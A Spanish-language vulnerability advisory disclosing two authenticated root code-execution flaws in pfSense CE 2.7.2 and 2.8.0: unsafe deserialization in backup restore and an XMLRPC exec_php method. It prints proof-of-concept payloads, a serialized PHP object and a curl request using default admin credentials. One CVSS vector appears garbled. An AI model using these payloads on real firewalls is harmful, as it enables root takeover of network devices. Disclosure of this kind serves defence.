
RCE autenticado en Netgate pfSense CE 2.7.2 y 2.8.0
Ejecución Remota de Código Autenticada en Netgate pfSense Community Edition
| Campo | Detalles |
|---|---|
| Investigador | Nelson Adhepeau (@privlabs) |
| Proveedor | Netgate |
| Producto | pfSense Community Edition |
| Versiones | 2.7.2 y 2.8.0 |
| Tipo | Ejecución Remota de Código Autenticada |
| Divulgación | Febrero de 2026 |
| Proveedor notificado | 2 de diciembre de 2025 |
| CVE asignado | 28 de enero de 2026 |
Esta investigación se llevó a cabo en entornos de laboratorio aislados únicamente con fines educativos y de concienciación sobre seguridad. Todos los hallazgos fueron divulgados de forma responsable al proveedor antes de su publicación. Este aviso no constituye una invitación a atacar sistemas en producción. Las pruebas no autorizadas son ilegales.
El mecanismo de restauración de configuración de pfSense invoca unserialize()
sobre datos controlados por el usuario sin listas blancas de clases,
validación de entrada ni sandboxing.
Un archivo de copia de seguridad manipulado que contenga un objeto PHP
serializado malicioso inyecta comandos arbitrarios a través de la propiedad
post_reboot_commands, que se ejecutan mediante mwexec() con privilegios
totales de root.
[Attacker] → Login as admin
→ Upload malicious .xml backup file
→ Trigger restore
→ pfSense calls unserialize() on attacker data
→ post_reboot_commands executed via mwexec()
→ [ROOT SHELL]
config.php — lógica de procesamiento de restauraciónpfsense_module_installer — objetivo de deserialización inseguramwexec() — sumidero de ejecución de comandosO:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"Reconocido. Clasificado como abuso administrativo autenticado. No se emitirá ningún parche." — Netgate
pfSense CE 2.8.0 expone un método XMLRPC, pfsense.exec_php, que
ejecuta código PHP arbitrario como root sin validación, sandboxing
ni ningún tipo de restricción.
El endpoint:
admin:pfsense)[Attacker] → Send XMLRPC request to /xmlrpc.php
→ Authenticate with admin:pfsense (default)
→ Call pfsense.exec_php with arbitrary PHP
→ Code executes as root, no sandboxing
→ [ROOT SHELL]
xmlrpc.php — punto de entrada de la APIpfsense.exec_php — ejecución dinámica de código inseguracurl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"Reconocido. Clasificado como comportamiento esperado para usuarios autenticados. No se planea ningún parche." — Netgate
November 2025 → Vulnerabilities discovered
December 2, 2025 → Responsible disclosure to Netgate
→ Vendor acknowledged, no patch planned
January 28, 2026 → CVE IDs assigned by MITRE
February 2026 → Public disclosure
[email protected]Nelson Adhepeau — Investigador de seguridad independiente
| Campo | Valor |
|---|
| CVSS v3.1 | 8.8 (Alto) |
| Vector | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| Tipo de ataque | Autenticado (Administrador) |
| Componente | Mecanismo de copia de seguridad/restauración |
| Campo | Valor |
|---|
| CVSS v3.1 | 9.9 (Crítico) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:C:C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| Tipo de ataque | Autenticado (remoto, autenticación básica) |
| Componente | API XMLRPC — pfsense.exec_php |